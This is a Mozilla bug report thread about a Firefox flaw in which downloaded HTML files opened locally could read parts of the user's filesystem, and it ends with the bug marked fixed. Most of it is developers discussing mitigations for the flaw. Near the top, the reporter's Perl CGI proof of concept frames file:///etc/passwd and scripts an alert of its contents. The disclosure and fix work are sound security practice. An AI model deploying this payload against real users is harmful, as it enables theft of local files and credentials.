Closed Bug 369462 Opened 15 years ago Closed 1 year ago

"Content-Disposition: attachment" + text/html allows the downloaded file to read some parts of the user's filesystem

Categories

(Toolkit :: Downloads API, defect)

defect
Not set
normal

Tracking

()

RESOLVED FIXED
Tracking Status
firefox-esr68 --- fixed
firefox-esr78 --- fixed

People

(Reporter: guninski, Unassigned)

References

()

Details

(Keywords: sec-moderate, Whiteboard: [sg:moderate])

Attachments

(1 file)

known filenames in external applications on linux and macosx

opening a pdf novell.pdf in document viewer creates the file:
on linux: $HOME/tmp/novell.pdf
on macosx: $HOME/Desktop/novell.pdf

the extension may be arbitrary, so ability to open local files in
firefox allows reading local files if a pdf is opened.
modification of this allows reading local files at least on ubuntu.

perl script named "att.html" containing html but served:
Content-type: application/x-java-jnlp-file

produces a dialog basically saying: "do you want to open an html file with firefox". if open is chosen, the file is opened from the filesystem, allowing reading local files.

perl script, save in cgi-bin as att.html ; chmod +x att.html

--------------
#!/usr/bin/perl


print "Content-type: application/x-java-jnlp-file\r\n";
#print "Content-Disposition: attachment;filename=aaa\r\n";
print "\r\n";
print "attach\n";
print "<iframe id='i1' src='file:///etc/passwd'></iframe><script>setTimeout('alert(document.all.i1.contentWindow.document.body.innerHTML)',2000)</script>";

another exploit vector allowing stealing local files at the cost of innocent dialog asking to start firefox is:
print "Content-Disposition: attachment;filename=aaa.html\r\n";
[sg:moderate]
Whiteboard: [sg:moderate]
Product: Firefox → Toolkit
Maybe Firefox should put each file downloaded due to content-disposition:attachment into a new subdirectory of the tmp directory.  That way, the downloaded file will only be able to access itself (thanks to the fix for bug 230606).

For files saved manually, it may be trickier to fix this problem without hurting user experience.
Depends on: 230606
Summary: known filenames in external applications on linux and macosx → "Content-Disposition: attachment" + text/html allows the downloaded file to read some parts of the user's filesystem
Version: 1.8 Branch → Trunk
>Maybe Firefox should put each file downloaded due to
>content-disposition:attachment into a new subdirectory of the tmp directory.

this seems nice. the main exploit vector is that content-disposition ask innocent question and may hurt.

>For files saved manually, it may be trickier to fix this problem without
>hurting user experience.

agreed
OS: Linux → All
Hardware: x86 → All
IIRC, one of the speakers at BlackHat/DEFCON 2009 came very close to discovering this bug.  I don't think we can keep it secret for long, and if it's really still [sg:moderate] with the partial same-origin tightening in bug 230606, we need to do something.

Possible solutions:
1) Use a Downloads folder on all platforms (not Desktop or tmp), so the files exposed are at least limited to other downloads.
2) Randomize the filenames of all (other) downloaded files.
3) Put content-disposition:attachment files in subdirectories of the Downloads rather than directly in Downloads.
4) Tighten the same-origin policy for local files to same-file-only.
5) Tighten the same-origin policy only in "special" directories (Downloads, tmp).

Even once Firefox uses a Downloads directory on all platforms, this bug is still scary.  For example, maybe there's a URL I can send you to that will cause you to download your Gmail address book as a file, with a filename I know.

Demo: http://www.squarefree.com/content-disposition-attachment/read.html
("Attacking Tor at the Application Layer" was the talk that revealed or almost revealed this bug.)
[Quickly skimming through security bugs.]

Is this still an issue? For quite a while now we've placed same-origin restrictions on file:///, so that reading things in other directories (or even the same directory) shouldn't be possible.

I'm not sure what, if anything, could be done about the "revealing the path" issue... If you save a file to /usr/bacon/download/foo.html, foo.html is going to be able to see its path as "/usr/bacon/download/". I suppose we could try blocking that, but I'd worry that it could leak in from other areas.

Perhaps this merits a downgrade to sg:low as "just" a privacy issue?
script still reads my /etc/passwd into the HTML if I choose to open it, so yes, still an issue.  Whatever same-origin restrictions are supposed to be on file:// url's aren't stopping it.

bz/biesi/honza: any ideas how to fix this?
> script still reads my /etc/passwd into the HTML if I choose to open it

Reads it in as in loads it in the iframe?  Or as in alerts its contents?
As far as I can tell, it's just the former, as long as "security.fileuri.strict_origin_policy" is set to its default value of "true".  As in, the system is working as expected.  Do you see something different?
reads into inframe, no alert.
That sounds like this bug is fixed as filed; it's no different from web sites being able to frame (but not read) each other.
For me contentWindow.document is not accessible for file in a different directory.  But it is accessible for a file in the same directory or its subdirectory.  So, the restriction to "this file only" doesn't work here.  That could be potentially dangerous.  Tested with the current Aurora build.

In my case the directory (Win7) is:
c:\Users\<user>\AppData\Local\Temp\

If we have a FirefoxDownloads sub dir in it and there sub dir for each file downloaded we mitigate this attack.  However when user downloads the file and opens it from the download location then files in the download folder are still subject to this exploitation.

IE, for example, asks explicitly a user if he wants to allow JavaScript when opening a local file.
> But it is accessible for a file in the same directory or its subdirectory.

Yes, that's what the file:// same-origin policy looks like.  It's not "this file only" at all, and is very well documented.

> IE, for example, asks explicitly a user if he wants to allow JavaScript when opening a
> local file.

Yep.  Maybe we should consider that too.

Alternately, we could put each download in a separate directory in the temp dir...
Putting each download into a subdir sounds like really bad UX, so I'd like to avoid that.

I sorta like IE's idea for just opening a prompt to check if running script should be allowed.

How about we close this as-filed, and open a new bug on doing that. (Probably referencing back here.) This bug could probably just be opened up, too.
Putting each download in a subdir would be invisible for files in tmp/.

I'd rather tighten the same-origin policy than prompt for all scripts in local files. Scripts are extremely common and we'd be prompting all the time. (See comment 7 #4 / #5).
Group: core-security → toolkit-core-security
Group: toolkit-core-security → firefox-core-security

Now that bug 803143 is fixed, I think this is fixed too, Dan?

Flags: needinfo?(dveditz)
Status: NEW → RESOLVED
Closed: 1 year ago
Depends on: 803143
Flags: needinfo?(dveditz)
Resolution: --- → FIXED
Group: firefox-core-security → core-security-release
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.